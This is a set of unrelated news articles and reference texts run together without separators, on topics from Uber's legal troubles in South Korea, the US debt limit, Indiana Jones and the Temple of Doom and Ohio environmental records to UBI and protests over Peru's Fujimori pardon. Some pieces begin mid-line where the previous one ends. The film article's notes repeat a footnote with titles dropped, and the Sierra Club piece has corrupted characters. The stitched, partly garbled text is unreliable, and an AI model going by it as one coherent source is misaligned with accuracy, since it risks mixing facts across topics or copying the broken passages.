Uber is under suspicion of breaking the local transportation law, which forbids unregistered transportation services from operating, by partnering up with local rental car service companies and having unlicensed drivers use the app to lure customers. The company reportedly received 20 percent in commission from its car rental partnerships.
Uber is also under investigation for allegedly breaching South Korea's information laws by not registering its app with the Korea Communication Commission (KCC), the nation's telco watchdog, and unlawfully collecting customer information.
"Uber's service is used worldwide, but most of its cars and drivers are unlicensed," said a spokesperson for Seoul District Police. "It disturbs the cab industry, and they are not paying any taxes because there are no proper taxation processes in place."
Seoul District Police also plans to summon Uber CEO Travis Kalanick, and investigate the company for further unjust profits.
An Uber South Korea spokesperson said that the firm has been cooperating with the police fully, but denied any wrongdoing.
Uber's legal issues extend worldwide, with the company facing hundreds of thousands of dollars in fines, cease-and-desist notices, and threats of litigation since launching in Australia; private cars being banned in mid January from all ride-hailing taxi apps in China; tens of thousands of dollars in penalties being issued throughout Taiwan as of December; and the São Paulo Mayor's office in Brazil fining several drivers $900 on average for operating taxi services without legal authorisation in August.
In India, Uber was threatened with shutdown in October if it did not alter its business model to offer a two-step authentication process for its payment service. As a result, Uber introduced a mobile wallet link-up with Paytm in November. However, a month later, the government banned Uber from operating in New Delhi, when 32-year-old driver Shiv Kumar Yadav was charged with allegedly raping a 26-year-old female passenger.
Despite this, Uber relaunched in India within six weeks, resuming operations under a radio taxi licence. Last month, it emphasised its enhanced security, stating that it would be implementing an in-app SOS panic button, and would be sharing all driver and vehicle data with the Transportation Department and traffic police.
Similarly, in December last year, an Uber driver in Boston was charged with the alleged sexual assault of a passenger. Uber's head of global safety Phillip Gardenas responded by saying that the company would work on developing biometric and voice-verification systems and polygraph tests for its global screening processes.
Uber was also forced to suspend operations in Portland, Oregon, for three months from late December while the city works on establishing regulatory guidelines for taxi apps.
Despite these universal legal challenges, Uber saw the value of its Series E round of venture funding rise by $1 billion to $2.2 billion just last month, with the round's total capacity reportedly reaching $2.8 billion.
Source: ZDNet Korea (zdnet.co.kr)In case you need an excuse, Hopleaf Bar is aiming to raise $20,000 for Peirce School on Sunday, May 1st.
“We are very excited to announce that our partners, Hopleaf Bar, will be hosting a “Peirce Day” on Sunday, May 1st where 100% of the sales (minus taxes and tips) will be donated to Helen C. Peirce School of International Studies! That’s right, ALL the sales will go to Peirce. We are so grateful for this wonderful gift from Michael and Louise, the owners of Hopleaf.
Our goal is to raise $20,000 on that day. Hopleaf will be open from Noon-2am (food served until 10pm). There will be no tickets to buy or on-site auction items, just a wonderful menu of food, beer and wine (plus a full bar) to enjoy. Come with your family, friends or by yourself. You are bound to find a familiar face from Andersonville, Edgewater, or Peirce that day.
This is a crucial time for our school as budget cuts loom going into next year. So save May 1st on your calendar to come to Hopleaf and stay for as long as you like. All the money goes to Peirce!
Please share this with all your friends as THE day to go to Hopleaf.” – The Friends of Peirce BoardImage caption Mr Lew has warned that failure to act soon could result in significant disruptions to US economy
The US government will reach its debt limit by mid-October unless Congress acts quickly, Treasury Secretary Jack Lew has warned.
The debt ceiling was last raised in January. The government can no longer borrow if it is reached.
Mr Lew said that in such a case it will be unable to meet obligations such as pensions, military salaries and Medicare payments.
The country's borrowing limit is currently capped at $16.7tn (£10.7tn).
"Extraordinary measures are projected to be exhausted in the middle of October," Mr Lew said in a letter to House Speaker John Boehner and other lawmakers.
"At that point, the US will have reached the limit of its borrowing authority, and Treasury would be left to fund the government with only the cash we have on hand on any given day," he said.
The cash balance at that time is forecast to be about $50bn, which Mr Lew said, would be "insufficient to cover net expenditures for an extended period".
He said: "Operating the government with no borrowing authority, and with only the cash on had on a given day, would place the United States in an unacceptable position."
Such a scenario could undermine financial markets and result in significant disruptions to the economy Jack Lew, US Treasury Secreatry
'Undermine financial markets'
There have been tense debates between the White House and congressional Republicans over the government's debt ceiling, spending cuts, and other fiscal matters.
In August 2011, the Republicans and the Democrats took a hard line while debating raising the borrowing limits.
They only reached a compromise on the day the government's ability to borrow money was due to run out.
The delay in reaching a deal at that time led ratings agency Standard & Poor's to downgrade the US for the first time ever, which sparked volatility in the financial markets.
The compromise also included a series of automatic budget cuts known as the "sequester" which came into affect earlier this year.
However, in his letter Mr Lew argued that raising the debt limit does not increase government but "simply allows Treasury to pay for expenditures [the] Congress has previously approved".
He warned that a delay in raising the limit "would cause irreparable harm to the American economy".
He explained that if investors become unwilling to loan to the United States, the country could face an immediate cash shortfall.
''Such a scenario could undermine financial markets and result in significant disruptions to the economy,'' he said.Indiana Jones and the Temple of Doom is a 1984 American action-adventure film directed by Steven Spielberg. It is the second installment in the Indiana Jones franchise and a prequel to the 1981 film Raiders of the Lost Ark, featuring Harrison Ford reprising his role as the title character. After arriving in North India, Indiana Jones is asked by desperate villagers to find a mystical stone and rescue their children from a Thuggee cult practicing child slavery, black magic and ritual human sacrifice in honor of the goddess Kali.
Executive producer and co-writer George Lucas made the film a prequel as he did not want the Nazis to be the villains again. After three rejected plot devices, Lucas wrote a film treatment that resembled the film's final storyline. Lawrence Kasdan, Lucas's collaborator on Raiders of the Lost Ark, turned down the offer to write the script, and Willard Huyck and Gloria Katz were hired as his replacements, with the screenplay partly based upon the 1939 film Gunga Din.[3]
The film was released to financial success but initial reviews were mixed, criticizing its violence. However, critical opinion has improved since 1984, citing the film's intensity and imagination. In response to some of the more violent sequences in the film, and with similar complaints about Gremlins, Spielberg suggested that the Motion Picture Association of America (MPAA) alter its rating system, which it did within two months of the film's release, creating a new PG-13 rating.[4][a]
Plot [ edit ]
In 1935, Indiana Jones narrowly escapes the clutches of Lao Che, a crime boss in Shanghai, China. With his 11-year-old Chinese sidekick Short Round and the nightclub singer Willie Scott in tow, Indy flees Shanghai on an airplane that, unbeknownst to them, is owned by Lao. While the three of them are asleep on the plane, the pilots dump the fuel and parachute out, leaving the plane to crash over the Himalayas. Indy, Shorty, and Willie discover this and narrowly manage to escape by jumping out of the plane on an inflatable raft, and then riding down the slopes into a raging river. They come to Mayapore, a village in northern India, whose impoverished villagers believe the three to have been sent by Shiva to retrieve the sacred sivalinga stone stolen from their shrine, as well as the community's missing children, from evil forces in the nearby Pankot Palace. During the journey to Pankot, Indy hypothesizes that the stone may be one of the five fabled Sankara stones that promise fortune and glory.
The trio receive a warm welcome from the Prime Minister of Pankot Palace, Chattar Lal. The visitors are allowed to stay the night as guests, during which they attend a lavish but grotesque banquet given by the young Maharaja, Zalim Singh. Chattar Lal rebuffs Indy's questions about the villagers' claims and his theory that the ancient Thuggee cult is responsible for their troubles. Later that night, Indy is attacked by an assassin, leading Indy, Willie, and Shorty to believe that something is amiss. After Indy kills the assassin, they discover a series of tunnels hidden behind a statue in Willie's room and set out to explore them, overcoming a number of booby-traps along the way.
The trio eventually reach an underground temple where the Thugs worship Kali with human sacrifice. They watch as the Thugs chain one of their victims in a cage and slowly lower him into a ceremonial lava pit, burning him alive. They discover that the Thugs, led by their high priest Mola Ram, are in possession of three of the five Sankara stones, and have enslaved the children to mine for the last two. As Indy tries to retrieve the stones, he, Willie, and Shorty are captured and separated. Indy is whipped and forced to drink a potion called the Blood of Kali, which places him in a trance-like state where he begins to mindlessly serve the Thugs. Willie, meanwhile, is kept as a human sacrifice, while Shorty is whipped and put to work in the mines alongside the children. Shorty breaks free and escapes back into the temple where he burns Indy with a torch, bringing him back to his senses. After fighting off the guards and defeating Chattar Lal, Indy stops Willie's cage and cranks it out of the pit just in time to save her from the fire, while Mola Ram escapes. Indy retrieves the Sankara stones, and the three return to the mines to free the children. As Indy fights a hulking overseer, the Maharaja—also under Mola Ram's control—tries to cripple him with a voodoo doll. Shorty knocks the doll away and burns him to break the trance, and a restored Indy escapes and leaves the overseer to die in a rock crusher.
The trio escape from the temple in a mine cart, pursued by Thugs, while Mola Ram orders a water cistern dumped in an attempt to flood them out. After barely escaping the deluge, they are again cornered by Mola Ram and his henchmen on a rope bridge high above a crocodile-infested river. Indy cuts the rope bridge in half with one man's sword, leaving everyone to hang on for their lives. As he and Mola Ram struggle over the stones, he invokes the name of Shiva, causing them to glow white-hot. Mola Ram burns his hand on the stones, causing him to lose his grip and fall to his death; Indy catches the last one safely and climbs up as a company of British Indian Army riflemen, summoned by the Maharaja, arrive and open fire on the Thuggee archers trying to shoot him. Indy, Willie, and Shorty return to Mayapore with the children and give the missing stone back to the villagers.
Cast [ edit ]
Actor Pat Roach plays the Thuggee overseer in the mines, Roach had previously appeared as a mechanic and the Grand Sherpa in Raiders of the Lost Ark. Spielberg, Lucas, Marshall, Kennedy, and Dan Aykroyd have cameos at the airport.[8]
Production [ edit ]
Development [ edit ]
Spielberg later recalled that when Lucas first approached him for Raiders of the Lost Ark, "George said if I directed the first one then I would have to direct a trilogy. He had three stories in mind. It turned out George did not have three stories in mind and we had to make up subsequent stories."[12] Both men later attributed the film's tone, which was darker than Raiders of the Lost Ark, to their personal moods following the breakups of their relationships.[13] In addition, Lucas felt "it had to have been a dark film. The way Empire Strikes Back was the dark second act of the Star Wars trilogy."[3]
Lucas set the film in an earlier year than the first to avoid repeating the use of Nazis as the villains.[13] Spielberg originally wanted to bring Marion Ravenwood back,[12] with Abner Ravenwood considered as a possible character.[3] In developing the story, Lucas conceived of an opening chase scene with Indiana Jones on a motorcycle on the Great Wall of China, followed by the discovery of a "Lost World pastiche with a hidden valley inhabited by dinosaurs".[8] Another idea was to feature the Monkey King as the plot device.[13] However, Chinese authorities refused permission for them to film in the country, requiring a different setting.[8] Lucas wrote a film treatment that included a haunted castle in Scotland, but Spielberg felt it was too similar to Poltergeist; so the setting transformed into a demonic temple in India.[3]
Lucas came up with ideas that involved a religious cult devoted to child slavery, black magic and ritual human sacrifice. Lawrence Kasdan of Raiders of the Lost Ark was asked to write the script. "I didn't want to be associated with Temple of Doom," he reflected. "I just thought it was horrible. It's so mean. There's nothing pleasant about it. I think Temple of Doom represents a chaotic period in both their [Lucas and Spielberg] lives, and the movie is very ugly and mean-spirited."[8] Lucas hired Willard Huyck and Gloria Katz to write the script because of their knowledge of Indian culture.[12] Gunga Din served as an influence for the film.[3]
Huyck and Katz spent four days at Skywalker Ranch for story discussions with Lucas and Spielberg in early 1982.[3] They later said the early plot consisted of two notions of Lucas': that Indy would recover something stolen from a village and decide whether to give it back, and that the picture would start in China and work its way to India. Huyck says Lucas was very single-minded about getting through meetings, while "Steve would always stop and think about visual stuff."[14]
Lucas' initial idea for Indiana's sidekick was a virginal young princess, but Huyck, Katz, and Spielberg disliked the idea.[10] Just as Indiana Jones was named after Lucas' Alaskan Malamute, the character of Willie was named after Spielberg's Cocker Spaniel, and Short Round was named after Huyck's dog, whose name was derived from The Steel Helmet.[3]
Lucas handed Huyck and Katz a 20-page treatment in May 1982 titled Indiana Jones and the Temple of Death to adapt into a screenplay.[3] Scenes such as the fight scene in Shanghai, the escape from the airplane, and the mine cart chase came from earlier scripts of Raiders of the Lost Ark.[15][16]
Lucas, Huyck, and Katz had been developing Radioland Murders (1994) since the early 1970s. The opening music was taken from that script and applied to Temple of Doom.[15] Spielberg reflected, "George's idea was to start the movie with a musical number. He wanted to do a Busby Berkeley dance number. At all our story meetings he would say, 'Hey, Steven, you always said you wanted to shoot musicals.' I thought, 'Yeah, that could be fun.'"[3]
Lucas, Spielberg, Katz, and Huyck were concerned how to keep the audience interest while explaining the Thuggee cult. Huyck and Katz proposed a tiger hunt but Spielberg said, "There's no way I'm going to stay in India long enough to shoot a tiger hunt." They eventually decided on a dinner scene involving eating bugs, monkey brains, and the like. "Steve and George both still react like children, so their idea was to make it as gross as possible," says Katz.[14]
Lucas sent Huyck and Katz a 500-page transcript of their taped conversations to help them with the script.[14] The first draft was written in six weeks, in early August 1982. "Steve was coming off an enormously successful movie and George didn't want to lose him," said Katz. "He desperately wanted him to direct (Temple of Doom). We were under a lot of pressure to do it really, really fast so we could hold on to Steve."[16]
A second draft was finished by September. Captain Blumburtt, Chattar Lal, and the boy Maharaja originally had more crucial roles. A dogfight was deleted, as well as those who drank the Kali blood turned into zombies with physical superhuman abilities. During pre-production, the Temple of Death title was replaced with Temple of Doom. From March to April 1983, Huyck and Katz simultaneously performed rewrites for a final shooting script.[3]
Huyck and Katz later said Harrison Ford took many of the one liners originally given to Short Round.[16]
Filming [ edit ]
Huyck later recalled "at one point when we were writing it we told George "We know a lot of Indians. We've been there... I don't think they're going to think this is really so cool. Do you think you're going to have trouble shooting there?" He said, "Are you kidding? It's me and Steve." Months later they called and said, "We can't shoot in India. They're really upset." So they shot in Sri Lanka and London, mostly."[16]
The filmmakers were denied permission to film in North India and Amer Fort due to the government finding the script offensive.[8][12][15] The government demanded many script changes, rewritings and final cut privilege.[3] As a result, location work went to Kandy, Sri Lanka, with matte paintings and scale models applied for the village, temple, and Pankot Palace. Budgetary inflation also caused Temple of Doom to cost $28.17 million, $8 million more than Raiders of the Lost Ark.[15] Filming began on April 18, 1983 in Kandy,[17] and moved to Elstree Studios in Hertfordshire, England on May 5. Producer Frank Marshall recalled, "when filming the bug scenes, crew members would go home and find bugs in their hair, clothes and shoes."[17] Eight out of the nine sound stages at Elstree housed the filming of Temple of Doom. Lucas biographer Marcus Hearn observed, "Douglas Slocombe's skillful lighting helped disguise the fact that about 80 percent of the film was shot with sound stages."[18]
Indiana Jones and the Temple of Doom which was shot in Harrison Ford with Chandran Rutnam on the set ofwhich was shot in Kandy Sri Lanka in 1983.
Danny Daniels choreographed the opening music number "Anything Goes". Capshaw learned to sing in Mandarin and took tap dance lessons. However the dress was fitted so tightly that Capshaw was not able to dance in it. Made by Barbara Matera out of original 1920s and 1930s beads, the dress was one of a kind. The opening dance number was actually the last scene to be shot, but the dress did feature in some earlier location shots in Sri Lanka, drying on a nearby tree. Unfortunately an elephant had started to eat it, tearing the whole back of the dress. Consequently, some emergency repair work had to be done by Matera with what remained of the original beads, and it was costume designer Anthony Powell who had to fill in the insurance forms. As to the reason for damage, he had no option but to put "dress eaten by elephant".[12]
Production designer Norman Reynolds could not return for Temple of Doom because of his commitment to Return to Oz. Elliot Scott (Labyrinth, Who Framed Roger Rabbit), Reynolds' mentor, was hired. To build the rope bridge the filmmakers found a group of British engineers from Balfour Beatty working on the nearby Victoria Dam.[3] Harrison Ford suffered a severe spinal disc herniation by performing a somersault while filming the scene with the assassin in Jones' bedroom. A hospital bed was brought on set for Ford to rest between takes. Lucas stated, "He could barely stand up, yet he was there every day so shooting would not stop. He was in incomprehensible pain, but he was still trying to make it happen."[8] With no alternatives, Lucas shut down production while Ford was flown to Centinela Hospital on June 21 for recovery.[17] Stunt double Vic Armstrong spent five weeks as a stand-in for various shots. Wendy Leech, Armstrong's wife, served as Capshaw's stunt double.[19]
Macau (then a Portuguese colony) was substituted for Shanghai,[15] while cinematographer Douglas Slocombe caught fever from June 24 to July 7 and could not work. Ford returned on August 8. Despite the problems during filming, Spielberg was able to complete Temple of Doom on schedule and on budget, finishing principal photography on August 26.[17] Various pickups took place afterwards. This included Snake River Canyon, in Idaho, Mammoth Mountain, Tuolumne and American River, Yosemite National Park, San Joaquin Valley, Hamilton Air Force Base and Arizona.[2] Producer Frank Marshall directed a second unit in Florida in January 1984, using alligators to double as crocodiles.[2][13] The mine chase was a combination of a roller coaster and scale models with dolls doubling for the actors.[15] Minor stop motion was also used for the sequence. Visual effects supervisors Dennis Muren, Joe Johnston and a crew at Industrial Light & Magic provided the visual effects work,[20] while Skywalker Sound, headed by Ben Burtt, commissioned the sound design. Burtt recorded Willie Scott's scream and roller coasters at Disneyland Park in Anaheim for the mine cart scene.[21]
Editing [ edit ]
"After I showed the film to George [Lucas], at an hour and 55 minutes, we looked at each other," Spielberg remembered. "The first thing that we said was, 'Too fast'. We needed to decelerate the action. I did a few more matte shots to slow it down. We made it a little bit slower, by putting breathing room back in so there'd be a two-hour oxygen supply for the audience."[2]
Release [ edit ]
Box office [ edit ]
Temple of Doom was released on May 23, 1984 in America, accumulating a record-breaking $45.7 million in its first week.[18] The film went on to gross $333.1 million worldwide, with $180 million in North America and $153.1 million in other markets.[22] The film had the highest opening weekend of 1984, and was that year's highest-grossing film (third in North America, behind Beverly Hills Cop and Ghostbusters).[23] It was also the tenth highest-grossing film of all time during its release.[22] It sold an estimated 53,532,800 tickets in the United States.[24]
Promotion [ edit ]
Marvel Comics published a comic book adaptation of the film by writer David Michelinie and artists Jackson Guice, Ian Akin, Brian Garvey, and Bob Camp. It was published as Marvel Super Special #30[25] and as a three-issue limited series.[26]
LucasArts and Atari Games promoted the film by releasing an arcade game. Hasbro released a toy line based on the film in September 2008.[27]
Reception [ edit ]
Critical response [ edit ]
The film received mixed reviews upon its release,[8] but over the years the film's reception has shifted to a more positive tone. On Rotten Tomatoes, the film has an approval rating of 85%, based on 66 reviews, with an average rating of 7.2/10. The site's critical consensus reads, "It may be too 'dark' for some, but Indiana Jones and the Temple of Doom remains an ingenious adventure spectacle that showcases one of Hollywood's finest filmmaking teams in vintage form."[28] On Metacritic the film has a rating of 57 out of 100, based on reviews from 14 critics, indicating "mixed or average reviews".[29]
Roger Ebert gave the film a perfect four-star rating, calling it "the most cheerfully exciting, bizarre, goofy, romantic adventure movie since Raiders, and it is high praise to say that it's not so much a sequel as an equal. It's quite an experience."[30] Vincent Canby felt the film was "too shapeless to be the fun that Raiders is, but shape may be beside the point. Old-time, 15-part movie serials didn't have shape. They just went on and on and on, which is what Temple of Doom does with humor and technical invention."[31] Neal Gabler commented that "I think in some ways, Indiana Jones and the Temple of Doom was better than Raiders of the Lost Ark. In some ways it was less. In sum total, I'd have to say I enjoyed it more. That doesn't mean it's better necessarily, but I got more enjoyment out of it."[32] Colin Covert of the Star Tribune called the film "sillier, darkly violent and a bit dumbed down, but still great fun."[33] Pauline Kael, writing in The New Yorker, claimed it was "one of the most sheerly pleasurable physical comedies ever made."[34] Halliwell's Film Guide described the film as a "slow-starting adventure romp with much ingenuity and too much brutality and horror."[34]
Dave Kehr gave a largely negative review; "The film betrays no human impulse higher than that of a ten-year-old boy trying to gross out his baby sister by dangling a dead worm in her face."[35] Ralph Novak of People complained "The ads that say 'this film may be too intense for younger children' are fraudulent. No parent should allow a young child to see this traumatizing movie; it would be a cinematic form of child abuse. Even Harrison Ford is required to slap Quan and abuse Capshaw. There are no heroes connected with the film, only two villains; their names are Steven Spielberg and George Lucas."[15] The Observer described it as "a thin, arch, graceless affair."[34] The Guardian summarized it as "a two-hour series of none too carefully linked chase sequences... sitting on the edge of your seat gives you a sore bum but also a numb brain."[34] Leonard Maltin gave the movie only 2 out of 4 stars, saying that the film is "headache inducing" and "never gives us a chance to breathe", and chiding the "'gross-out' gags."[36]
Some of the film's cast and crew, including Spielberg, retrospectively view the film in a negative light, partly due to the film being the darkest and most overtly violent Indiana Jones film.[2] Both Lucas and Spielberg attributed the film's darkness to their relationship problems, Lucas divorce from Marcia Lucas and Spielberg's break up with Amy Irving, respectively.[37]
Kate Capshaw called her character "not much more than a dumb screaming blonde."[15] Steven Spielberg said in 1989, "I wasn't happy with Temple of Doom at all. It was too dark, too subterranean, and much too horrific. I thought it out-poltered Poltergeist. There's not an ounce of my own personal feeling in Temple of Doom." He later added during the Making of Indiana Jones and the Temple of Doom documentary, "Temple of Doom is my least favorite of the trilogy. I look back and I say, 'Well the greatest thing that I got out of that was I met Kate Capshaw.' We married years later and that to me was the reason I was fated to make Temple of Doom."[2]
In 2014, Time Out polled several film critics, directors, actors and stunt actors to list their top action films.[38] Indiana Jones and the Temple of Doom was listed at 71st place on this list.[39] Vulture, in a 2015 compilation of Steven Spielberg's films ranked from worst to best, ranked Temple of Doom #11, stating that "Jonathan Ke Quan's Short Round character is '"Mickey Rooney in Breakfast at Tiffany's"'-level offensive, and, fine, Kate Capshaw is no Karen Allen. But other than that, this movie is nonstop adrenaline, with Spielberg hell-bent on topping Raiders' stunt sequences."[40]
Awards [ edit ]
Dennis Muren and Industrial Light & Magic's visual effects department won the Academy Award for Best Visual Effects at the 57th Academy Awards. Soundtrack composer John Williams was, as he had been for his work on Raiders of the Lost Ark, again nominated for Original Music Score.[41] The visual effects crew won the same category at the 38th British Academy Film Awards. Cinematographer Douglas Slocombe, editor Michael Kahn, Ben Burtt and other sound designers at Skywalker Sound received nominations.[42] Spielberg, the writers, Harrison Ford, Jonathan Ke Quan, Anthony Powell and makeup designer Tom Smith were nominated for their work at the Saturn Awards. Temple of Doom was nominated for Best Fantasy Film but lost to Ghostbusters.[43]
Controversy [ edit ]
The film has also been the subject of controversy due to its portrayal of India and Hinduism.[44][45][46]
The depiction of Hindus caused controversy in India, and brought it to the attention of the country's censors, who placed a temporary ban on it.[44] The depiction of the goddess Kali as a representative of the underworld and evil was met with much criticism, as she is almost exclusively depicted as a goddess of change and empowerment (Shakti), meaning that while she does destroy, she almost always does so in order to effect positive change. The depiction of Indian cuisine was also criticized, as dishes such as baby snakes, eyeball soup, beetles, and chilled monkey brains are not actual Indian foods. Shashi Tharoor has condemned the film and has criticized numerous parts of the film as offensive and factually inaccurate.[45] Yvette Rosser has criticized the film for contributing to negative stereotypes of Indians in Western society, writing "[it] seems to have been taken as a valid portrayal of India by many teachers, since a large number of students surveyed complained that teachers referred to the eating of monkey brains."[46]
Impact [ edit ]
In response to some of the more violent sequences in the film, and with similar complaints about Gremlins, Spielberg suggested that the Motion Picture Association of America (MPAA) alter its rating system by introducing an intermediary between the PG and R ratings. The MPAA concurred, and a new PG-13 rating was introduced two months after the film's release.[4][a]
See also [ edit ]
Notes [ edit ]
a b Indiana Jones and the Temple of Doom and Gremlins were both released in the U.S. with a PG (not PG-13) rating,[5][6] although controversy surrounding the two films did lead to the subsequent creation of the PG-13 rating. The first film to be issued the new PG-13 rating was The Flamingo Kid,[7] although Red Dawn was the first to be released theatrically under the new rating.[4] Contrary to popular belief,andwere both released in the U.S. with a PG (not PG-13) rating,although controversy surrounding the two films did lead to the subsequent creation of the PG-13 rating. The first film to be issued the new PG-13 rating wasalthoughwas the first to be released theatrically under the new rating.
References [ edit ]The Ohio Sierra Club is suing the Ohio Department of Natural Resources over access to public records. It's the second suit filed by the group against the state agency in two years.
The Ohio Sierra Club is suing the Ohio Department of Natural Resources over access to public records.
It�s the second suit filed by the group against the state agency in two years.
The complaint filed yesterday in the Ohio Supreme Court says that Natural Resources has ignored a months-old request for public records.
The lawsuit the Sierra Club won in 2012 also involved access to records.
In the newer case, the group wants documents related to how Natural Resources officials investigated the illegal dumping of fracking wastes by a Youngstown company.
�We�re curious to find out when did they first get any tips and how quickly they could have responded,� said Rick Sahli, the Sierra Club�s attorney.
State officials watched Jan. 31 as Hardrock Excavating workers dumped waste down a storm drain that led to the Mahoning River.
Business owner Ben Lupo pleaded not guilty on Feb. 14, after the Ohio attorney general�s office said that at least 20 dumping incidents occurred before arrests were made.
Natural Resources officials declined to comment yesterday.
Jed Thorp, the Ohio Sierra Club�s chapter manager, said his group requested the records in March.
Last year, Natural Resources paid $9,000 to settle the group�s first lawsuit. The group said agency officials ignored records requests regarding drilling in state parks and forests.
shunt@dispatch.com
@CDEnvironmentWASHINGTON -- House Speaker John Boehner (R-Ohio) says he is against restoring long-term jobless benefits because doing so wouldn't create jobs.
"We have always said that we’re willing to look at extending emergency unemployment benefits again, if Washington Democrats can come up with a plan that is fiscally responsible, and gets to the root of the problem by helping to create more private sector jobs," Boehner said.
But the Congressional Budget Office has repeatedly estimated that unemployment extensions add thousands and thousands of private sector jobs to the economy. In December, the CBO said a Democratic proposal to restore long-term benefits for a full year would increase employment by about 200,000 jobs by the end of 2014. (The Senate is currently considering a bill that would restore the benefits through May.)
While Boehner is just not that into what the budget office says about unemployment extensions, he loves their take on raising the federal minimum wage to $10.10 per hour, which the CBO figures could reduce employment by half a million jobs.
"What I’ve long said is that raising the minimum wage destroys jobs -- and that was confirmed last week by the Congressional Budget Office -- at least 500,000 jobs would be lost, maybe as many as a million," Boehner said last month.
Boehner spokesman Michael Steel suggested the speaker doesn't consider the CBO the ultimate arbiter of how legislation can affect the economy. “CBO analysis is a useful tool, but sometimes fails to include real-world factors, like the economic impact of pro-growth policies," Steel said in an email.
Of course, emphasizing one finding and ignoring another is common practice in Washington. Many Democrats denounced the CBO's minimum wage job-loss findings, citing research by other economists. If he felt like it, Speaker Boehner could point to conservative economists who dispute CBO's estimates for the jobs created by unemployment spending.
The budget office uses basic economic theory to explain how unemployment benefits boost the economy: "Recipients of the additional benefits would increase their spending on consumer goods and services," CBO says. "That increase in aggregate demand would encourage businesses to boost production and hire more workers than they otherwise would, particularly given the expected slack in the capital and labor markets."
Long-term unemployment insurance for people out of work six months or longer lapsed at the end of December, meaning the economy has missed out on $4.7 billion worth of federal spending, according to an analysis by Congressional Democrats. Since then, more than 2 million workers have missed out on compensation.
“Unemployment insurance has played a vital role in our economic recovery and the program’s expiration has drained billions of dollars from state economies during the last three months," Rep. Sandy Levin (D-Mich.) said in a statement. "Hundreds of thousands of jobs are at stake, as are the livelihoods of millions of Americans laid off through no fault of their own.”
Senate Majority Leader Harry Reid (D-Nev.) has said he expects the Senate to pass its unemployment bill this week. Whether the House votes on the bill will be up to Boehner.+ T -
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Engineering drawings of the Atlas Human-Powered Helicopter. Drawings for the Eta will be of the same style and painstaking detail.
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Thanks again for taking the time to learn about this mind-blowing undertaking! We look forward to keeping you updated on this exciting engineering endeavor.Could a Universal Basic Income Make Small Town America Great Again?
Sebastian Johnson Blocked Unblock Follow Following Oct 11, 2017
In the summer of 2013, I undertook a field study of sorts with my graduate school classmates in Southside, Virginia. Our hope was to see the theories we’d learned in classes on local economic development and regional economies put to practice. We spent a week roaming through towns like Floyd and Martinsville; observing business incubators in Blacksburg and Danville; and discussing development projects in Roanoke and Rocky Mount.
But the moment that stuck with me was listening to author Beth Macy read a selection from Factory Man, her best-selling account of the rise and fall of the furniture industry in the towns we visited. Macy, who spent 25 years reporting for the Roanoke Times, recounted the tale of Mary Reed, a displaced factory worker who would do anything to get her job back: “If Tultex were to open back up today and the only way I could get there would be to crawl on my belly like a snake, I would do it.”
In the years since that trip, as Donald Trump used the grievances of small town America to fuel his unprecedented political surprise, I’ve returned frequently to the memory of that factory worker’s longing. Our sojourn through Southside was an eye-opening experience that showed me the gulf between economic theory and economic reality.
Yes, downtown revitalization improves prospects for employment. Community college apprenticeships attract new industry while providing a path to the middle class. But these place-based methods often fail to immediately provide opportunities for people on the ground to regain the prosperous lives they once knew. And they often lack cultural salience, preferring to cater to well-to-do newcomers over longtime residents.
As I highlighted in my recent TEDx talk on the universal basic income (UBI), geographic inequality is the elephant in the room. According to one 2015 study of the richest counties in America, four of the five richest are in the Greater Washington, DC area, a fact that increases outrage and mistrust of government in small town America. Further research shows an economy increasingly concentrated in big cities and along our coasts.
What policy, then, would “square the circle” between long-run economic growth and short-term need? In my view, it’s time we transitioned from place-based development to people-based development. And that comes in the form of UBI.
UBI, which would provide enough no-strings-attached money for every citizen to cover their basic needs, is a much more effective solution to geographic inequality for two clear reasons.
First, UBI would expand the buying capacity of current residents rather than subsidizing businesses that are theoretically attractive to new residents. Monthly UBI checks would provide a boost to local economies through direct spending, much as payroll tax deductions did in the wake of the financial crisis and food stamp benefits do today in many small towns.
UBI payments would also have knock-on effects for local sales tax revenues, leading to healthier municipal and state governments and more investment in important public services. Stimulating local demand quickly, in addition to making human capital investments that improve the labor market in the future, is an excellent recipe for job creation.
Second, UBI would empower small town residents to participate in and shape their local economies. Instead of discouraging work, studies show that safety programs encourage entrepreneurship by reducing risk, and that small business owners are more likely than other Americans to receive public benefits. Ensuring that their basic needs are met would enable more Americans to create their own businesses to meet rising local demand, boosting employment and rejuvenating Main Street at the same time.
One of the biggest arguments against UBI as a solution has been that many rural and small town residents might resist government “handouts” on principle, no matter the positive effects on local economies. But a program similar to UBI can be found in one of the most conservative rural states, Alaska, where all residents receive payments from the Alaska Permanent Fund. This universal income payment, commonly referred to as a dividend, is a distribution from earnings on state oil wealth, not a redistribution of personal income. Similar schemes could work in coal-rich Appalachia or regions of North Dakota and Texas that enjoy vast reserves of natural gas. Indeed, some conservative eminences have suggested replacing EPA regulations with a tax-and-dividend regime for carbon emissions.
As automation further erodes industries like manufacturing and trucking, traditional pillars of rural employment already decimated by globalization, UBI offers an opportunity to open up entrepreneurship and paths of possibility to more of our fellow citizens while preserving the rich cultural traditions of small town America. The question is if policymakers will seize the moment.Peruvians enraged over President Pedro Pablo Kuczynski's pardon for authoritarian leader Alberto Fujimori were expected to march on Thursday in the biggest protests yet against the two men since the Christmas Eve measure was announced.
The size and impact of the protests could be an indication of whether the uproar over the pardon locks Kuczynski's already weak government into a political crisis, or peters out as he revamps his Cabinet and seeks new allies in Congress.
At least 40,000 people were expected to march in the capital Lima, and demonstrations were also planned in cities across the country and in foreign capitals, said Jorge Rodriguez, a representative of one of the activist groups organizing the protests.
“This isn’t just a march against the pardon, it’s also against President Kuczynski. We want him and all corrupt politicians out,” he said.
Kuczynski cited medical grounds when he announced the pardon for the 79-year-old Fujimori, erasing his convictions for graft and human rights abuses less than halfway into a 25-year prison sentence, and shielding the former president from a pending trial.
The timing, three days after Fujimori’s loyalists in Congress unexpectedly saved Kuczynski from a motion to oust him, sparked speculation among critics that it was payback.
Fujimori, 79, governed Peru with an iron fist for a decade after being swept to power by a populist wave in 1990 elections.
While many consider him a corrupt and ruthless dictator, others credit him with pulling Peru from economic ruin and quashing a violent leftist insurgency.
U.N. human rights experts called the pardon a major setback for the rule of law in Peru and an appalling “slap in the face” for Fujimori's victims.
Kuczynski, 79, reiterated on Thursday that the pardon was not the result of a political pact, saying it was fundamentally about forgiveness. “The country can’t remain divided by political struggles that only hold the country back from continuing to make progress,” his office said in a statement.
On Tuesday, Fujimori apologized to the Peruvians he said he “disappointed.” Speaking from a hospital bed in a video message, he thanked Kuczynski for the pardon and promised to support the president’s call for national reconciliation.
Fujimori’s opponents said it was too little, too late.
